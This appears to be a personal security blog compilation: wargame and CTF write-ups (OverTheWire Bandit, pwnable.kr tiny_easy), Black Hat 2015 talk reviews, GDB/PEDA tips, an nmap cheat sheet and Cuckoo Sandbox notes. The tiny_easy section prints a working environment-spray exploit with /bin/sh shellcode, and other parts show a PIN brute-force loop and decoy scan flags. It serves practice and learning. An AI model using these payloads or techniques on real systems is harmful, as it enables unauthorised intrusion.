Kolobyte - Eugene Kolodenker

Stack ASCII visualization

Highest Memory  
+----------------------+ <-- Maximum address of stack
|         ...          |
|                      |
+----------------------+ <-- Start of system()'s stack frame
|      void *arg       |
|   [return address]   |
|                      |
+----------------------+ <-- Start of read()'s frame
|     size_t count     |
|      void *buf       |
|        int fd        |
| [address of system]  | <-- Stack pointer, gets popped
|                      |
|         ...          |
+----------------------+ <-- Lowest address of stack, it keeps growing this way
Lowest Memory  

OverTheWire Bandit Wargame Write-up

This is one of the easier wargames out there. The first ~22 levels have very few gotchas for experienced UNIX developers, and can take 30 minutes to a day. There are a few that I got caught up on though. It's a good way to learn the shell, or get more experienced with it.

Usually each stage will give you a password (and increment the username) to the next stage that you use to login with to get the next password and so on.

Check it out yourself here: http://overthewire.org/wargames/bandit/

Bandit Wargame

Bandit 0 → 1

Simply ssh into the server, with the username and password provided, and cat readme.

ssh [email protected] # password bandit0
cat readme

Bandit 1 → 2

You need to give the full file path to read it when the file has a '-' in it.

cat /home/bandit1/-

Bandit 2 → 3

You can use autocomplete w/ the tab key to help you out with hard file names.

cat "spaces in this file name"

Bandit 3 → 4

You can see hidden dot files with ls -la.

cd /inhere/
ls -la
cat .hidden

Bandit 4 → 5

No need to think too much, you can cat out all the files and look for something that looks like a password.

cat /inhere/*

Bandit 5 → 6

I can't remember all the flags and options to find, so I had to look in man find to see how to specify a file size in bytes. Find is recursive by default.

find  . - size 1033c

Bandit 6 → 7

Just more flags to find, at the file system root.

find . -size 33c -user bandit7 -group bandit6

Bandit 7 → 8

Simple use of the pipe, | and grep.

cat data.txt | grep millionth

Bandit 8 → 9

You have to sort before using uniq, as uniq only looks at contiguous matches. Use the -c flag to display counts. Looking for the entry with only 1 count.

cat data.txt | sort | uniq -c 

Bandit 9 → 10

Just get a list of the strings in the data set and look for the string beginning with ========.

cat data.txt | strings

Bandit 10 → 11

Simply use of base64 tool.

base64 --decode data.txt 

Bandit 11 → 12

Simply using cat and copy paste into a rot13 convert convert online yields the answer. You can also use tr to do rot13.

Bandit 12 → 13

This one's a real drag. First get the hexdump into actual hex data and then do a series of file and different extractions like 7 times.

xxd -r data.txt
file <output file>
gunzip/bunzip2/tar xf over and over

Bandit 13 → 14

Simply specify the key to use to ssh with the -i flag.

ssh -i sshkey.private [email protected]

Bandit 14 → 15

This one's tricky, because it requires you to read the MOTD that says "passwords are stored in /etc/somegame_pass". After that it's just nc localhost 30000 and enter the password of bandit14 from the directory.

Bandit 15 → 16

I had to google how to use nc with SSL for this one. Turns out ncat, another clone of nc, from nmap allows easy ssl.

ncat --ssl localhost 30001

Bandit 16 → 17

For this one, you get an ssh key that you have to feed to a port running on localhost in the range 31000-32000. There's only 5 servers, so just list them all and try them all. You get an ssh key in return, save it to a file and chmod 600 it to use for the next level.

nmap localhost -p 31000-32000

Bandit 17 → 18

Just a simple diff.

diff passwords.old passwords.new

Bandit 18 → 19

Copy the file over using scp.

scp [email protected]:/home/bandit18/readme .

Bandit 19 → 20

The setuid bin runs as bandit20 and executes anything given as them.

./bandit20-do cat /etc/bandit_pass/bandit20

Bandit 20 → 21

Run a socket listener on one terminal, and use the suconnect binary as a socket client.

nc -l -p 6161 # On one terminal
./suconnect 6262 # On other terminal

Bandit 21 → 22

This one involves some guessing of what they want from you. Basically it's just look in /etc/cron.d and the cronjob_bandit22.sh file. The cronjob runs /usr/bin/cronjob_bandit22.sh which simply creates a tmp file with bandit22's pw. Read that file to get the next password.

Bandit 22 → 23

Same thing as the previous level, but look into cronjob_bandit23.sh, this one creates a file as well, but it's more obfuscated. You can simply redo what it does and get the filename.

 cat `echo I am user bandit23 | md5sum | cut -d ' ' -f 1`

Bandit 23 → 24

Another cronjob challenge. This one uses cronjob_bandit24.sh and executes all scripts in /var/spool/bandit24. Simply create a shell script that writes a file with bandit24's password. Be sure to chmod +x it.

cat /etc/bandit_pass/bandit24 > /tmp/somefile

Bandit 24 → 25

These last two are the most exciting. This one involves bruteforcing all 4 digit pins to a remote server. The slow way is to loop doing echo foo | nc, but that creates a new connection each time. The faster way is to keep the connection open and loop. I used my shoe.py script for easy reading and writing to remote servers.

import shoe

s = shoe.Shoe('localhost', 30002)
for i in range(0, 9999):
    cmd = "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ {}".format(i)
    s.write(cmd + "\n")
    r = s.read_until_end(.001)
    if "Wrong!" not in r and len(r) > 10:

Bandit 25 → 26

This one took me a bit figure out. I'll leave it as a challenge to the reader.

Congratulations on solving the last level of this game!

Black Hat 2015 Video/Talk Review

I watched almost every Black Hat 2015 video. This year was about average. There were some great talks, and many not that great. Here's my highly biased top 10 list, and a few honorable mentions.

Black Hat Top 10

(1) Writing Bad @$$ Malware For OS X by Patrick Wardle

  • Details the OSX malware state.
  • Cool proof of concepts:
    • OSX loader kills stuff that doesn't match a signature. As such dynamic injection into running Apple signed apps doesn't work. However, can easily remove the signature in the first place, and then it works :).
    • Dylib hijacking (same as DLL hijacking) is prevalent.
  • Goes into detail of how to be stealthy and persistent.
  • Details how to bypass Gatekeeper, Xprotect, OSX Sandbox, Kernel-mode code signing, and that the number of local privilege escalations is absurd and easy to find in OSX.
  • Mentions the OSX tools he made relating to all of this:
    • KnockKnock, shows what autoruns on start
    • BlockBlock, block access to persistence areas

Overall a great talk by Patrick, and I highly recommend watching it.

(2) Ah! Universal Android Rooting Is Back by Wen Xu

  • A great case study of Keen Team's universal Android root discovery, PingPong root.
    • Works on Samsung S6.

(3) The Memory Sinkhole - Unleashing An X86 Design Flaw Allowing Universal Privilege Escalation by Christopher Domas

  • Primer on ring -2, the secure memory management unit that's below the hypervisor, that's below the kernel (ring 0).
  • Advanced memory/CPU exploitation leveraging the movement of the APIC.
  • Great talker
  • POC can be found at: https://www.exploit-db.com/exploits/37724

The top 3 are without a doubt my favourite from this year. However, it gets hard to decide positions for the rest of these...

(4) Abusing Silent Mitigations - Understanding Weaknesses Within Internet Explorer by Brian Gorenc & Abdul-Aziz Hariri & Simon Zuckerbraun

  • Good talk about exploiting the heap in modern IE. Use-after-free galore.
  • However, talk video is long and not organized well.

(5) Unicorn: Next Generation CPU Emulator Framework by Nguyen Anh Quynh & Hoang-Vu Dang

  • A faster more efficient QEMU fork.
  • Plugable and extensible.

(6) The Node.js Highway: Attacks Are At Full Throttle by Maty Siman & Amit Ashbel

  • Details some implementation based attacks on JS/Node.js

(7) Social Engineering The Windows Kernel: Finding And Exploiting Token Handling Vulnerabilities by James Forshaw

  • Overall a good talk, but a bit over my unknowledgeable in Windows head.

(8) Return To Where? You Can't Exploit What You Can't Find by Christopher Liebchen & Ahmad-Reza Sadeghi & Andrei Homescu & Stephen Crane

  • Readactor. Another Anti-ROP method.
    • Adds another layer of abstraction/indirection to hide addresses.
  • Many problems can be solved with another layer of indirection
  • Sounds like the paper might be more interesting to read in-depth.

(9) Certifi-gate: Front-Door Access To Pwning Millions Of Androids by Ohad Bobrov & Avi Bashan

  • Some Android permissions are "privileged", and only able to be acquired if OEM (Samsung, LG, etc.) signed them.
  • Remote control apps are signed by OEMs to work properly, due to needing those privileges.
  • Talk shows POCs that due to some apps being signed with such high privileges and their poor implementations, backdoors are easy.
    • Ex: TeamViewer uses a Cert's Serial # to verify communication to it, however Android doesn't use a central CA, self-signing is possible, as such you can create a cert with the same serial # as TeamViewer and MITM it.

(10) Exploiting XXE Vulnerabilities In File Parsing Functionality by Willis Vandevanter

  • Quick talk that shows some POCs with XML exploiting.
    • Word docs are XML.
  • Shows data exfil via errors from XML paresrs.

Honorable mentions:

(1) Exploiting Out-of-Order Execution For Covert Cross-VM Communication by Sophia D'Antoine

  • Novel concept (to me) about introducing hardware cross communication based on hypervisor allocating memory and needing to inform the guest VMs.

(2) Defeating Pass-the-Hash: Separation Of Powers by Seth Moore & Baris Saydag

  • I didn't find anything new, or too interesting, but it details OS internals, and how some stuff in Windows works. I recommend if you're serious about learning Windows 10 internals.

(3) Mobile Point Of Scam: Attacking The Square Reader by Alexandrea Mellen & John Moore & Artem Losev

  • Boston University represent! Great job guys.

Better disassembly with GDB/PEDA

GDB is unfortunately not that great for debugging. Especially when you compare it to the Windows world's Visual Studio debugger. It's the best we got though on Linux, and PEDA makes it much more tolerable.

Here's my .gdbinit, and some tips on how to use PEDA to make debugging easier.

# Save in file: ~/.gdbinit
source ~/peda/peda.py  
set disassembly-flavor intel  
set pagination off  
catch exec  
# Keep a history of all the commands typed. Search is possible using ctrl-r
set history save on  
set history filename ~/.gdb_history  
set history size 32768  
set history expansion on  
# Commands to use in GDB/PEDA
b <func_name> - classic breakpoint  
b *0x123123 - break at address 0x123123  
pdisas - better disass  
vmmap - print mapped memory  
pattern create 2000 - generate cyclic pattern  
telescope 200 - pretty print the stack, 200 ahead  
context all -  print registers, stack, code, everything good  
xormem - xor a memory region with a key  
procinfo - display various info from /proc/pid/  
find “/bin/sh” libc - look for /bin/sh in libc  
find 0xdeadbeef all - look for 0xdeadbeef in all mapped memory  
find “..\x04\x08” 0x08048000 0x08049000 - regex search a memory region

dumprop -  show ROP gadgets  
checksec - list security settings of binary  
readelf - get information about the elf file  

Pwning tiny_easy (pwnable.kr)

This is a writeup of how to pwn tiny_easy on http://pwnable.kr, a great site for exploitation and reversing practice.

Challenge statement

I made a pretty difficult pwn task. However I also made a dumb rookie mistake and made it too easy :( This is based on real event :) enjoy.

ssh [email protected] -p2222 (pw:guest)


[email protected]:~$ ssh [email protected] -p2222  
[email protected]:~$ ./tiny_easy  
Segmentation fault  

Okay, just segfaults. Let's dump and disassemble it.

[email protected]:~$ hexdump -C tiny_easy  
00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|  
00000010  02 00 03 00 01 00 00 00  54 80 04 08 34 00 00 00  |........T...4...|  
00000020  00 00 00 00 00 00 00 00  34 00 20 00 01 00 00 00  |........4. .....|  
00000030  00 00 00 00 01 00 00 00  00 00 00 00 00 80 04 08  |................|  
00000040  00 80 04 08 5a 00 00 00  5a 00 00 00 05 00 00 00  |....Z...Z.......|  
00000050  00 10 00 00 58 5a 8b 12  ff d2                    |....XZ....|  

[email protected]:~$ objdump -D tiny_easy

tiny_easy:     file format elf32-i386

[email protected]:~$ objdump -x tiny_easy

tiny_easy:     file format elf32-i386  
architecture: i386, flags 0x00000102:  
start address 0x08048054

Program Header:  
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000005a memsz 0x0000005a flags r-x

Idx Name          Size      VMA       LMA       File off  Algn  
no symbols  

Wow, it really is tiny! It's actually so small, that there is no executable section in it. That's not to say nothing
executes. This is obvious as we get a segmentation fault, it's doing something.

Using GDB (or knowing the structure of an ELF and assembly), we can figure out what it's actually doing.

It simply executes 4 instructions:

58      pop eax  
5a      pop edx  
8b12    mov edx,DWORD PTR [edx]  
ffd2    call edx  

How a program works

A program is usually launched with something like:
myprog arg1 arg2 arg3
Additionally programs are aware what's in our $PATH environment variable, as well as any other env vars it might need.

So if you look carefully, that's 2 things a program gets/needs:
1. The arguments
2. The environment

This is evident if you examine the entry point in UNIX:
int main (int argc, char *argv[], char *envp[])

Without diving into how a program stack works on x86 (https://www.win.tue.nl/~aeb/linux/hh/stack-layout.html), what you need to know is that envp, argv, and argc get pushed onto the stack, in that order.

| [    argc    ] <-- This gets popped!
v [    argv    ]  
  [    envp    ]


The situation looks grim if you examine the binary with checksec, and also check if ASLR is enabled on the server:

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY FORTIFIED FORTIFY-able  FILE  
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No  0       0/home/tiny_easy/tiny_easy

[email protected]:~$ cat /proc/sys/kernel/randomize_va_space  

NX and ASLR are both enabled. This is very problematic, but let's look back to the hint given to us in the beginning.

The hint for this challenge is:

"However I also made a dumb rookie mistake and made it too easy :( This is based on real event :) enjoy."

The rookie mistake here is that if you look above, there is no stack program header. So while NX (non-executable stack) is enabled for the machine, NX is not enabled for this binary. That means the solution can leverage arbitrary execution on the stack.


We need to get our payload onto the stack. We know argc, argv, and envp get pushed onto the stack. So let's put our shellcode into some environment variables. We also need to redirect program flow, recall in the analysis section the four instructions that the program is doing. It pops argc into eax, pops argv into edx, and then starts executing what's pointed by edx.

Normally the first argument in argv is the name of the program, however this is not technically a requirement we can change it to anything we want, evident if you look at the typical structure of an execv call, execv("myprog", {"myprog", "arg1", "arg2"}), notice the repeated "myprog".

ASLR is enabled, so we don't know the exact address that our payload is at on the stack. So we have to spray the stack by creating a bunch of environment variables and nopsleds.

import os  
import subprocess

jumpto = "\xb0\xaf\xb5\xff"  
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"  
nopsled = "\x90"*4096;  
payload = nopsled+shellcode

myenv = {}  
# Arbitrary largeish number
for i in range(0,100):  
    myenv["spray"+str(i)] = payload

while True:  
    p = subprocess.Popen([jumpto], executable="/home/tiny_easy/tiny_easy", env=myenv)


[email protected]:/tmp/eugenek_tiny_easy$ python pwn.py  
$ cat /home/tiny_easy/flag
What a tiny task :) <redacted>  

Looking ahead

This was tiny_easy, I'm looking forward to giving tiny a try.

You can see that tiny doesn't have the rookie mistake as this one does.

[email protected]:~/Downloads$ objdump -x tiny

tiny:     file format elf32-i386  
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
         filesz 0x00000000 memsz 0x00000000 flags rw-

tiny doesn't have an executable stack! :(

WiFi Deauth Attack

It's a pretty interesting and surprisingly simple attack.

In five steps:
1. The WiFi protocol has something called a deauth frame.
2. The frame can be sent from a station, essentially asking to be released from the network.
3. These frames are usually not encrypted, and only authentication is via a MAC address. An attacker can spoof the MAC address of the victim easily and tell the access point to disconnect it.
4. The attacker then yells very loudly that it's the access point and the victim should connect to it.
5. The victim connects to it 😞.

In a visual:

Nmap cheat sheet

I can never remember all the flags to nmap. So I compiled a cheat sheet of some more useful ones.

nmap -sP
Ping scans the network, listing machines that respond to ping.

nmap -p 1-65535 -sV -sS -T4 target
Full TCP port scan using with service version detection - usually my first scan, I find T4 more accurate than T5 and still "pretty quick".

nmap -v -sS -A -T4 target
Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection + traceroute and scripts against target services.

nmap -v -sS -A -T5 target
Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection + traceroute and scripts against target services.

nmap -v -sV -O -sS -T5 target
Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection.

nmap -v -p 1-65535 -sV -O -sS -T4 target
Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection + full port range scan.

nmap -v -p 1-65535 -sV -O -sS -T5 target
Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection + full port range scan.

-D decoy1,decoy2,ME
Cloak a scan with decoys

Spoof source address

Spoof NMAP MAC address

What is, and is not a float in Python may surprise you:

Command to parse                      isFloat?   Note  
------------------------------------  --------   --------------------------------
print(isfloat(""))                    False      Blank string  
print(isfloat("127"))                 True       Passed string  
print(isfloat(True))                  True       Pure sweet Truth  
print(isfloat("True"))                False      Vile contemptible lie  
print(isfloat(False))                 True       So false it becomes true  
print(isfloat("123.456"))             True       Decimal  
print(isfloat("      -127    "))      True       Spaces trimmed  
print(isfloat("\t\n12\r\n"))          True       whitespace ignored  
print(isfloat("NaN"))                 True       Not a number  
print(isfloat("NaNanananaBATMAN"))    False      I am Batman  
print(isfloat("-iNF"))                True       Negative infinity  
print(isfloat("123.E4"))              True       Exponential notation  
print(isfloat(".1"))                  True       mantissa only  
print(isfloat("1,234"))               False      Commas gtfo  
print(isfloat(u'\x30'))               True       Unicode is fine.  
print(isfloat("NULL"))                False      Null is not special  
print(isfloat(0x3fade))               True       Hexidecimal  
print(isfloat("6e7777777777777"))     True       Shrunk to infinity  
print(isfloat("1.797693e+308"))       True       This is max value  
print(isfloat("infinity"))            True       Same as inf  
print(isfloat("infinityandBEYOND"))   False      Extra characters wreck it  
print(isfloat("12.34.56"))            False      Only one dot allowed  
print(isfloat(u'四'))                  False      Japanese '4' is not a float.  
print(isfloat("#56"))                 False      Pound sign  
print(isfloat("56%"))                 False      Percent of what?  
print(isfloat("0E0"))                 True       Exponential, move dot 0 places  
print(isfloat(0**0))                  True       0___0  Exponentiation  
print(isfloat("-5e-5"))               True       Raise to a negative number  
print(isfloat("+1e1"))                True       Plus is OK with exponent  
print(isfloat("+1e1^5"))              False      Fancy exponent not interpreted  
print(isfloat("+1e1.3"))              False      No decimals in exponent  
print(isfloat("-+1"))                 False      Make up your mind  
print(isfloat("(1)"))                 False      Parenthesis is bad  

Source: http://stackoverflow.com/questions/379906/parse-string-to-float-or-int

Cuckoo Sandbox Notes

This is all based off the official documentation and self exploration.

Ahh! This is a necro post from previous blog dump.


./agent = The networking agent to communicate with guest VM's
./analyzer = Files used to analyze the guest VM (analysis packages)
./build = Build files made by Cuckoo
./conf = Files for configuration
./data = Data files used by web interface and analysis (things like file signatures)
./db = Databases
./docs = Documentation. Also found online.
./lib = Library files used by cuckoo core and such
./log = Cuckoo core log files
./modules = modules used to customize and make all the functionality in cuckoo sandbox

  • auxiliary - other, things like tcpdumping
  • machinery - guest VM specific things
  • processing - the actual analysis stuff, like networking and memory accesses
  • signatures - seems to check or file signatures to label things properly
  • reporting - used for reporting of the data gathered

./storage = analysis logs and malware binaries
./utils = some useful utilities to help, mainly web.py and submit.py
./web = stuff used by web.py to make the web interface

Useful information for analysis

Local analysis
submit.py --timeout <SPECIFY ANALYSIS TIMEOUT>  
          --memory (enable to take memory dump of analysis machine)
          --pattern <PATTERN OF FILES TO SUBMIT>
          --unique (enable to only submit new samples, ignore dupes)

If you specify a directory as path, all the files contained in it will be submitted for analysis.

cuckoo.py --clean # to clean up analysis results and current scheduled tasks  

Information for customization

Auxiliary Modules

Aux modules define procedures that are executed in parallel with each analysis process. The default one is starting tcpdump before the start of each malware analysis. This can be expanded into something interesting like checking if a file was edited during the malware execution.

Analysis Packages

The default analysis package for Windows is at ./analyzer/windows/packages/exe.py.

It essentially runs a dll or exe on the VM, injects it using the API Hook DLL (./analyzer/windows/dlls/cuckoomon.dll). It then checks if the option to do a memory dump is set or not. The interesting part for me is the API hooking which is done using the Cuckoo Monitor. More on this will probably come in another post.

def execute(self, path, args):  
        dll = self.options.get("dll")
        p = Process()
        if not p.execute(path=path, args=args, suspended=suspended):
            raise CuckooPackageError("Unable to execute the initial process, "
                                     "analysis aborted.")
        return p.pid

    def finish(self):
        if self.options.get("procmemdump"):
        return True

Cuckoo has capability to edit a few interesting events:

  • start() - Executed at the start of analysis
  • check() - Executed every 1 second while malware is running
  • execute() - Called to do the actual execution of the malware
  • finish() - Executed at the end of the analysis

Official documentation: https://cuckoo.readthedocs.org/en/latest/customization/packages/

Processing Modules

The processing modules are used to create the "global container" which contains all the data recorded during the malware analysis. After an analysis is completed, Cuckoo will invoke all the processing modules available in the ./modules/processing/ directory. They can be enabled/disabled in ./conf/processing.conf.

Every module is initialized and executed and the data returned is appended to a data structure known as the "global container", which is a big simple Python dictionary.

Official documentation: https://cuckoo.readthedocs.org/en/latest/customization/processing/

The currently available default processing modules are:

  • AnalysisInfo (modules/processing/analysisinfo.py) - generates some basic information on the current analysis, such as timestamps, version of Cuckoo and so on.
  • BehaviorAnalysis (modules/processing/behavior.py) - parses the raw behavioral logs and perform some initial transformations and interpretations, including the complete processes tracing, a behavioral summary and a process tree.
  • Debug (modules/processing/debug.py) - includes errors and the analysis.log generated by the analyzer.
  • Dropped (modules/processing/dropped.py) - includes information on the files dropped by the malware and dumped by Cuckoo.
  • Memory (modules/processing/memory.py) - executes Volatility on a full memory dump.
  • NetworkAnalysis (modules/processing/network.py) - parses the PCAP file and extracts some network information, such as DNS traffic, domains, IPs, HTTP requests, IRC and SMTP traffic.
  • ProcMemory (modules/processing/procmemory.py) - performs analysis of process memory dump. Note: the module is able to process user defined Yara rules from data/yara/memory/index_memory.yar. Just edit this file to add your Yara rules.
  • StaticAnalysis (modules/processing/static.py) - performs some static analysis of PE32 files.
  • Strings (modules/processing/strings.py) - extracts strings from the analyzed binary.
  • TargetInfo (modules/processing/targetinfo.py) - includes information on the analyzed file, such as hashes.
  • VirusTotal (modules/processing/virustotal.py) - searches on VirusTotal.com for antivirus signatures of the analyzed file. Note: the file is not uploaded on VirusTotal.com, if the file was not previously uploaded on the website no results will be retrieved.


Signatures are a great way to add custom analysis of the global container. Some examples off the documentation:

  • Identify a particular malware family you’re interested in by isolating some unique behaviors (like file names or mutexes).
  • Spot interesting modifications the malware performs on the system, such as installation of device drivers.
  • Identify particular malware categories, such as Banking Trojans or Ransomware by isolating typical actions commonly performed by those.

A use case I'm interested in would be creating a signature to identify cryptography occurring during analysis. Processing and analysis modules can be used to generate the data necessary for signature modules to scan for.

Reporting Modules

Reporting modules are used to parse the "global container". The global container is passed to each of the reporting modules available who make it accessible and consumable in different formats. It seems you can use reporting modules for more than just parsing the global container into a different format. Reporting modules can be expanded into signature detection modules, e.g. looking for use of Microsoft's CryptoAPI's CryptEncrypt

Official documentation: https://cuckoo.readthedocs.org/en/latest/customization/reporting/

Weekly Blog #1

I'm trying to actually blog and record original thoughts and things I find useful. I've concluded the only way that's going to happen is if I do less quality filtering, and
always post something every week, no matter if it's not a great, lengthy, blog post.

So without much ado, here's post #1

-- Eugene Kolo

Upgrading Ubuntu on servers:

Install update-manager-core if it is not already installed:
sudo apt-get install update-manager-core
Launch the upgrade tool:
Follow the on-screen instructions. 

Mounting a vbox share:

I always forget this one...

sudo mount -t vboxsf share ~/host